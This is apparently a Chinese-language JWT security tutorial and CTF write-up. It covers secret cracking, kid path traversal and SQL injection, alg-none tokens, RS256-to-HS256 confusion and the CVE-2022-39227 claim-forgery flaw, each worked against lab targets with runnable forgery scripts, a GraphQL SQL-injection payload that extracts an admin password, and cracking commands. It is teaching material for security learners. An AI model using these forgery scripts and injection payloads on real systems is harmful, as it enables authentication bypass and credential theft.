python3 crackjwt.py eyJraWQiOiIyZjRlMzM0Yy1lMzZjLTRhNWQtOWVjYi03ZDhkZDJhYThlYjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2OTMwNzYwNn0.iMBR0rqiUQKT1a1YoonpXNY5hCNz16okJB9tbog0QRE dictionary.txt
得到密钥为secret1进入解码网站https://jwt.io,对jwt进行解码
修改payload中的sub为administrator,再在下方写入密钥secret1,生成新JWT
拿到网站中替换原JWT,发现新功能点
访问后发现可以删除用户
任务完成。
Kid参数注入
前文在简述Headers提到,它还有一个可选参数kid,当Headers中存在这个参数时,我们可以通过修改这个参数实现目录遍历、SQL注入等攻击
#目录遍历
{
"kid" : "/etc/passwd"
}
Kid参数的逻辑是类似于sql="select * from table where kid=$kid"这种,所以它是存在SQL注入漏洞的,示例如下
#sql注入
{
"kid" : "0 union select 123"
}
此时它的Kid就被我们恶意篡改为123,此时就相当于拿到了Key,可以伪造JWT,实现越权。
靶场演示
靶场地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal题目描述
本实验使用基于 JWT 的机制来处理会话。为了验证签名,服务器使用JWTkid标头中的参数从其文件系统中获取相关密钥
题目要求
要解决实验室问题,请伪造一个 JWT,使您可以访问管理面板/admin,然后删除用户carlos。
题目条件
您可以使用以下凭据登录到您自己的帐户:wiener:peter
进入环境后,登录获取JWT安装插件
安装后选择New Symmetric Key,生成一个Key
接下来修改K参数为AA==,点击确认抓靶场的包
点击下面的sign
将此时的JWT去替换网站的JWT,再刷新网站
成功越权
简单说一下这里的原理:这里其实就是利用了kid的目录遍历攻击,我们将kid参数指向标准文件/dev/null,此时我们再利用bp的工具设置一个空的签名密钥,就实现了越权,成功得到管理员权限。
同时,这个Kid是Headers的一部分,Headers其实还有两个不常用的参数,即Jwk和Jku,这两个的话也是存在漏洞的,他们的攻击方式同Kid是较为相似的,所以这里不再去演示如何攻击。靶场环境如下,有兴趣的师傅可以看看。https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injectionhttps://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-inject
JWT攻击实例
CVE-2022-39227
这个的话并没有给出具体的POC,但是官方在commit中最下方给出了测试代码https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9#diff-f3fb6499354e6fd16cb955d1f54138fa3481148f3f095467958b60b3835f3a50具体代码如下所示
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
重点在中间部分,也就是这里
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
可以看到这里的话首先是对JWT进行了拆分,我们知道JWT的格式是xxx.yyy.zzz,这个以.来分离,那就是把三部分拆分开来,分别赋值给了header、payload和signature,接下来将进行了base64URL以及json解码的payload赋值给了parsed_payload,而后将新内容sub=bob以及exp=2000000000放入了parsed_payload中,将进行过Base64编码和json编码的parsed_payload赋值给了fake_payload,最终生成的JWT格式如下
{" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"}
此时就完成了JWT的伪造。
那么这个漏洞是如何产生的呢?接下来我们看一下源文件。查看python_jwt/__init__.py文件
首先看到 header, claims, _ = jwt.split('.'),它按.进行拆分,如何分别将三部分赋值给headers,claims以及_。接下来就是对头部进行解码,而后检验头部算法,后面也是校验属性的,接下来走到JWS这里
if pub_key: #验证是否传入密钥
token = JWS()
token.allowed_algs = allowed_algs
token.deserialize(jwt, pub_key) # 传入整个用户的JWT,JWS对JWT进行反序列化处理
parsed_claims = json_decode(token.payload) # JWS对传入部分进行json解码
跟进反序列化,看它是怎么做的
这里的话就是首先尝试对传入的JWT进行解析,我们知道这里传入的是完整的原始JWT,而非拆分后的某个部分,JWT的格式是xxx.yyy.zzz这种,而json能解析的是{"a":1,"b":2,"c":3,"d":4,"e":5}这种格式的,所以它无疑会走向except ValueError这里,然后它对值进行拆分,分别赋给protected、payload和signature,然后就将o赋值给了self.objects,这里的话还有一个verify(key,alg)函数,我们跟进一下
这里可以看到它其实是对JWT的各部分内容进行了一个检验,它这里检验的是原来的完整的JWT,所以这个肯定是没有问题的,这个验证肯定是可以通过的。
我们此时回到__init__.py
发现这里在校验过后,后面都没有再用到token这个,后面是对header和claims中的一些参数进行校验,然后将parsed_header和parsed_claims值返回了。这里就是问题所在, 在对整个JWT进行校验过后,没有返回校验过的数据,而是返回一开始进行点分过后的数据。
我们的恶意payload如下所示
此时拆分后他一直在校验的是后面的灰色部分,这部分是原始的JWT,校验肯定是可以通过的,而我们最终返回的数据是前面的forged_payload,所以无论前面怎么添加,怎么替换,校验都是可以通过的。此时你再去看官方给出的测试代码就可以理解它的思路了。
CTF实战
CTFshow系列
Web345
打开靶场,进入环境
看一下源代码
提示了admin界面,先记着。同时刚刚发现cookie含有JWT,放入网站https://jwt.io/中查看一下
加密方式为空加密,所以这里的话,我们base64解码一下,然后直接修改sub为admin,再进行base64编码,放入cookie中即可,接下来访问admin界面
web346
这里进入环境后,接下来进入靶场,看一下JWT,用解密网站解密一下
发现有了加密格式,然后这里存在一种漏洞就是可以把加密方式换成空加密来绕过,但是这个网站是不能直接修改的,我们这里可以借助python脚本实现,脚本如下所示
import time
import jwt
# payload
token_dict={
"iss": "admin",
"iat": 1668871293,
"exp": 1668878493,
"nbf": 1668871293,
"sub": "admin",
"jti": "9892b9d99098ba229891bedcfa856b61"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
) # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
注:这里安装jwt模块的时候,安装的模块是PyJWT模块,同时不要给脚本名字命名为jwt.py,否则运行脚本时就会发生报错。
接下来运行脚本
得到JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ.
去靶场中替换一下,同时访问admin界面
Web347
提示弱口令,这里应该说的是密钥,先记着进入环境后找到JWT去对应网站解码
HS256加密方式,我们这里的话需要猜解一下密钥,然后修改才有效,既然提示了弱口令,那就可以试试123456这种,修改sub为admin,得到新JWT后去靶场中修改JWT,然后访问admin界面
Web348
题目提示爆破,这里就需要先介绍一个爆破工具了,链接如下https://github.com/brendan-rius/c-jwt-cracker安装方式也很简单
1、git clone https://github.com/brendan-rius/c-jwt-cracker #下载
2、make #编译
3、./jwtcrack JWT #使用
这里将靶场中的JWT放入其中
爆破出密钥为aaab,接下来方法就同上,在解码网站中,修改sub为admin,同时添加密钥为aaab,然后拿着得到的新JWT,去替换网站的JWT,再去访问admin界面即可。
Web349
题目给了一个附件,内容如下
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
这里发现可以获取公钥和私钥,RSA是用私钥加密,公钥解密,那么我们这里有私钥了,就可以自己写内容,然后用私钥加密,接下来用公钥解密就是我们伪造的内容,所以接下来访问url /private.key获取私钥,然后写个小脚本即可
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
接下来替换JWT,然后post访问
web350
题目给了附件,在里面发现公钥
这里的话应该考察的就是算法修改攻击,然后我们这里修改算法为HS256,而后用公钥加密,脚本如下
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
运行脚本需要安装jsonwebtoken库
得到JWT后替换一下,然后post发包即可获取flag
[祥云杯2022]FunWeb
注:因为这道题没有复现环境了,所以我这里的部分图片是来源于网上,参考的是X1r0z大师傅的https://exp10it.cn/2022/10/2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup/#funweb%E5%A4%8D%E7%8E%B0
进入环境后是个注册界面,接下来随便注册账号后进行登录
发现上方是有两个功能点的
抓获取成绩包后发现这里提示no admin同时发现JWT,想到这里可能需要伪造JWT,JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT,伪造JWT脚本如下所示
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')#点分
parsed_payload = loads(base64url_decode(payload))#解码
parsed_payload['is_admin'] = 1#伪造
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'#生成恶意载荷
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsn
print(token)
接下来想到我们抓的包的文件名是graphql,而且还有POST参数,可能存在graphql注入。https://www.leavesongs.com/content/files/slides/%E6%94%BB%E5%87%BBGraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。
{"query": """{ getscoreusingnamehahaha(name: "null' union select group_concat(sql) FROM sqlite_master; --"){ score name } }"""}
返回结果如下
CREATE TABLE users(
ID INTEGER PRIMARY KEY,
NAME TEXT NOT NULL,
PASSWORD TEXT NOT NULL,
SCORE TEXT NOT Null
)
因此可以用这个来查询admin用户成绩,构造最终payload如下。
import json
from jwcrypto.common import base64url_decode, base64url_encode
import httpx
session = httpx.Client(base_url="http://xxx.com/")
session.post("/signin", json={
"username": "test",
"password": "111"
}
)
_ = session.cookies.get("token")
[header, payload, signature] = _.split('.')
parsed_payload = json.loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
fake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':'))))
forged_jwt = '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
session.cookies.delete("token")
session.cookies.set("token", forged_jwt)
data = {"query": """{ getscoreusingnamehahaha(name: "null' union select password FROM users WHERE name='admin'; --"){ score name } }"""}
response = session.post("/graphql", data=data)
print(response.text)
得到密码后去登录即可得到flag
[CISCN2019 华北赛区 Day1 Web2]ikun
进入后发现有登录和注册界面,常规操作先注册后登录
提示要买到lv6,下划后发现可以买等级
这里没有lv6,点击下一页看看仍然没有找到lv6,但发现参数是GET型传参
这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png
脚本如下
import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
res = requests.get(url+str(i))
time.sleep(0.5)
if "lv6.png" in res.text:
print(i)
break
181页,找到后发现价格是天价,买不起
这里抓包看一下
发现可以修改折扣,把这个discount修改为0.00000000000001然后发包
跳转到了另一个界面但无权限访问再抓包
发现JWT,解码一下(解码网站https://jwt.io/)
我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下https://github.com/brendan-rius/c-jwt-cracker破解后得到密钥为1Kun
抓包,将得到的值赋给JWT,再发包接下来就是读取源码,然后进行Python反序列化获取最终flag,这里不再演示。
后言
JWT的靶场有很多个,我这里也只是利用了CTFhub和portswig等来进行演示,还有一些靶场例如https://jwt-lab.herokuapp.com/challenges也是比较好的,但鉴于考察点相似,这里不再演示,有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解,大家也可以看一下哇,视频链接如下https://www.bilibili.com/video/BV15d4y1F7i3/?spm_id_from=333.337.search-card.all.click&vd_source=414113f33a1cd681c43e79
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

